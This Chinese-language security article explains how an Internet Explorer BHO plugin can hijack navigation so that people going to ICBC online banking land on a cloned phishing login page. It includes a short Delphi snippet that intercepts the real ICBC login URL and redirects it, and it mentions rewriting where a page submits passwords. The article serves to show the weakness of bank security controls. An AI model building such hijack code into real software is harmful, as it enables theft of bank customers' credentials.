从钓鱼与BHO角度看在线支付安全问题

最近在线支付的安全问题折腾的挺热闹。先是安全控件的问题,然后网站也出了各类漏洞,今天我从钓鱼和BHO的角度看一下在线支付系统的安全问题。
说道钓鱼大家肯定很熟悉,最常说的就是假冒中国工商银行域名,www.1cbc.com.cn,与中国工商银行网站www.icbc.com.cn,也只是”1″和”I”一字之差.不法分子通过设立仿冒网站,骗取该行用户的账号和密码,用户一旦输入了账号及密码,资料就落入了网络钓鱼者的手中。当然我们今天要谈的肯定不是这类老套的话题,也不会是通过修改host文件进行欺骗。今天我要说的是通过BHO进行网络钓鱼。
如果大家以前不巧用过3721,cnnic肯定记得其中的输入中文进入网站的功能。现在3721和cnnic作为流氓软件被各方严打,但是习惯于中文输入的人肯定仍然不少。更何况为了避免进入假冒网站,使用中文输入在他们看来更安全些。于是,一个有趣的问题出现了,如果客户的PC上没有安装3721或者cnnic而他使用中文输入会怎样?如果他安装了类似中文上网软件但是首先运行的并不是他们会怎么样?
我们首先来看第一个问题。如果你使用的是一个没有任何插件的干净的IE,输入任意字母或者中文如“工商银行”,IE会自动查询http://工商银行/,也就IE会自动补全之前的http://以及最后的 /。当然结果很显然http://工商银行/是无法打开的。因此显示
无法显示网页
您正在查找的页当前不可用。 网站可能遇到支持问题,或者您需要 调整您的浏览器设置。
因此如果我们能截获http://工商银行/并将其定义到英文域名就完成了中文上网的功能。
那么如何截获IE地址栏上的数据呢?相信熟悉流氓软件的朋友一定想起了三个字:BHO。
什么是BHO,我们来看一下官方的解释:
BHO是微软早在1999年推出的作为浏览器对第三方程序员开放交互接口的业界标准,它是一种可以让程序员使用简单代码进入浏览器领域的“交互接口”(INTERACTIVED Interface)。通过BHO接口,第三方程序员可以自己编写代码获取浏览器的一些行为(Action)和事件通知(Event),如“后退”、“前进”、“当前页面”等,甚至可以获取浏览器的各个组件信息,像菜单、工具栏、坐标等。由于BHO的交互特性,程序员还可以使用代码去控制浏览器的行为,比如常见的修改替换浏览器工具栏、在浏览器界面上添加自己的程序按钮等操作。
看看前面我提到的BHO接口特性,我们可以看到BHO可以获得和实现IE的大部分事件和功能,程序员可以设计出一个BHO实现用户点击时通知浏览器跳转到某个页面完成交互功能,当然就可以进一步写出控制浏览器跳转到他想让用户去的页面,这就是最初的“浏览器劫持”的成因:BHO劫持。
清楚了这一点我们很容易就想到通过BHO劫持+网络钓鱼,任何所谓的安全控件都是毫无意义的,无论你输入的网址是否正确,最终进入的网站都是钓鱼网站!
以下是实现BHO劫持功能的代码
Copy code
procedure TTIEAdvBHO.DoBeforeNavigate2(const pDisp: IDispatch; var URL,
Flags, TargetFrameName, PostData, Headers: OleVariant;
var Cancel: WordBool);
begin
if URL=’https://mybank.icbc.com.cn/icbc/perbank/index.jsp’//对工商银行网银登录页面进行劫持
then begin
Cancel:=True;
URL:=’http://www.baidu.com’;
(pDisp as IWebbrowser2).Navigate2(URL,Flags,TargetFrameName,PostData,Headers);
end;
if URL=’http://工商银行/’ //对中文输入工商银行进行劫持
then begin
Cancel:=True;
URL:=’http://www.baidu.com’;
(pDisp as IWebbrowser2).Navigate2(URL,Flags,TargetFrameName,PostData,Headers);
end;
end;
我们可以看到如果用户输入中文”工商银行”的话,我们可以把它引入的一个自己构造的网站,首页完全模仿工商银行。如果用户是通过进入工商银行首页点连接或通过快捷键等方式直接进入网银登录页面的话我们可以将其引入自己构建的网银登录页面。
至此,很明显通过BHO技术,再好的安全控件也无法保证密码不被窃取—因为安全控件根本没有起作用。
除了BHO劫持外,我们还可以利用BHO直接修改网页内容,由于方法更隐蔽,危害更大–可以直接改变密码提交对象。在这里我就不做代码分析和探讨了。
mail&msn linkboy2007@yahoo.com.cn
ps:
如果进行密码截获,现在很多控件都会屏蔽而且会越做越好,而进行钓鱼的话控件本身就失效了,因此控件不但应该从密码截获方面考虑而应该考虑到其他方法。
本文摘自网络由网络安全(www.91ri.org)收集整理.